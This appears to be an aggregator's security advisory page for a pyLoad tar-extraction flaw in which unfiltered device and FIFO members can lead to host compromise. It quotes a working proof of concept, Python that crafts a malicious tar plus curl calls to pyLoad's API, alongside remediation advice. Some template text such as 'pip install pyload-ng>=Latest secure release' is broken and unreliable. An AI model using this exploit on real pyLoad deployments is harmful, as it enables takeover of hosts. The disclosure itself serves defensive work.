GHSA-fr26-jjhm-638c: pyLoad Tar Extraction Creates Device Nodes Vulnerability

HIGH
CWE-22
Published
Advisory Summary

GHSA-fr26-jjhm-638c is a HIGH tar extraction creates device nodes vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting pyLoad libraries in the PyPI ecosystem. The issue involves tar extraction creates device nodes and fifos (member types not filtered; tarfile extractall without filter=). Remediation is available in the latest vendor maintenance releases.

GHSA-fr26-jjhm-638c at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-fr26-jjhm-638c
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product pyLoad
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-fr26-jjhm-638c

To remediate this vulnerability, upgrade all affected pyLoad dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyload-ng fixed: Latest secure release
pip install pyload-ng>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyload-ng

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-fr26-jjhm-638c, inspect your installed packages using pip:

pip show pyload-ng

Analyze the terminal output to locate any version of pyLoad in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In pyLoad, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member **names** and symlink/hardlink **targets**, but never checks member **types**, and calls `tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is `fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke `ExtractArchive.extract_package`). ### Details ```python # plugins/extractors/UnTar.py:69-79 for member in tar.getmembers(): if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only raise ArchiveError(...) tar.extractall(path, members, numeric_owner=numeric_owner) # no filter= ``` No `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation in `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create FIFOs for any euid. ### PoC ```bash BASE=http://127.0.0.1:8100 # craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member python3 - <<'EOF' import tarfile, io t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER')) i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666 t.addfile(i) f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE t.addfile(f); t.close() EOF # as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder, # then trigger extraction curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}' curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' \ -d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}' ls -l <extract dir> # → crw-rw-rw- 1 root root 1, 3 nulldev (character device created) # → prw-r--r-- 1 root root pipe (FIFO created) # → -rw-r--r-- 1 root root marker.txt ``` Negative control: the same flow with a `../evil` traversal member is rejected (`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary is present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.) ### Impact With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees. ### Remediation In `_safe_extractall`, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass `filter="data"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it. ### References - GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).

GHSA-fr26-jjhm-638c Affected pyLoad Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
pyload-ng
PyPI
≤ 0.5.0b3.dev101

References

Frequently Asked Questions

What is GHSA-fr26-jjhm-638c?
GHSA-fr26-jjhm-638c is a security vulnerability in pyLoad involving Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=) under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which pyLoad versions are affected?
Affected versions include releases prior to current release patches across affected packages: pyload-ng.
What version fixes GHSA-fr26-jjhm-638c?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyload-ng affected?
Yes, pyload-ng is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with GHSA-fr26-jjhm-638c?
GHSA-fr26-jjhm-638c is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for GHSA-fr26-jjhm-638c?
Run the dependency tree command: 'pip show pyload-ng'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fr26-jjhm-638c",
  "modified" : "2026-10-09T17:08:58Z",
  "published" : "2026-10-09T17:08:58Z",
  "aliases" : [ ],
  "summary" : "pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)",
  "details" : "### Summary\n\n`UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member\n**names** and symlink/hardlink **targets**, but never checks member **types**, and calls\n`tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is\n`fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create\nthem on disk. When pyLoad runs as root (the official Docker deployment), a block-device\nmember grants raw disk access — full host compromise — reachable by any low-privileged user\nwho can trigger archive extraction (ADD to supply an archive, STATUS to invoke\n`ExtractArchive.extract_package`).\n\n### Details\n\n```python\n# plugins/extractors/UnTar.py:69-79\nfor member in tar.getmembers():\n    if not is_within_directory(...) or <symlink/hardlink target checks>:   # names/links only\n        raise ArchiveError(...)\ntar.extractall(path, members, numeric_owner=numeric_owner)   # no filter=\n```\n\nNo `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation\nin `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults\nto a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create\nFIFOs for any euid.\n\n### PoC\n\n```bash\nBASE=http://127.0.0.1:8100\n# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member\npython3 - <<'EOF'\nimport tarfile, io\nt = tarfile.open('dev.bin','w')          # name it *.bin so UnTar (content-sniffed) claims it\nt.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))\ni = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666\nt.addfile(i)\nf = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE\nt.addfile(f); t.close()\nEOF\n\n# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,\n# then trigger extraction\ncurl -s -X POST \"$BASE/api/add_package\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n  -H 'Content-Type: application/json' -d '{\"name\":\"poc\",\"links\":[\"http://x/dev.bin\"],\"dest\":1}'\ncurl -s -X POST \"$BASE/api/service_call\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"service_name\":\"ExtractArchive.extract_package\",\"arguments\":[\"<pid>\"]}'\n\nls -l <extract dir>\n# → crw-rw-rw- 1 root root 1, 3 nulldev      (character device created)\n# → prw-r--r-- 1 root root     pipe          (FIFO created)\n# → -rw-r--r-- 1 root root     marker.txt\n```\n\nNegative control: the same flow with a `../evil` traversal member is rejected\n(`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the\nGHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary\nis present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is\nreached via non-mapped names — as above — content-sniffed containers, or when 7z is\nabsent/fails.)\n\n### Impact\n\nWith pyLoad as root, a crafted archive can create block/character device nodes at arbitrary\npaths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion),\nor set special bits; non-root deployments still get FIFOs and node entries in\nuser-accessible trees.\n\n### Remediation\n\nIn `_safe_extractall`, reject (or skip) every member that is not a regular file, directory,\nor safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass\n`filter=\"data\"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply\nthe same member-type validation in the pre-extraction validator so all extractors share it.\n\n### References\n\n- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated,\n  member types not).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.5.0b3.dev101"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-fr26-jjhm-638c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/commit/09eec1b431b6942a1917f094f2c77bfbf5637f60"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-09T17:08:58Z",
    "nvd_published_at" : null
  }
}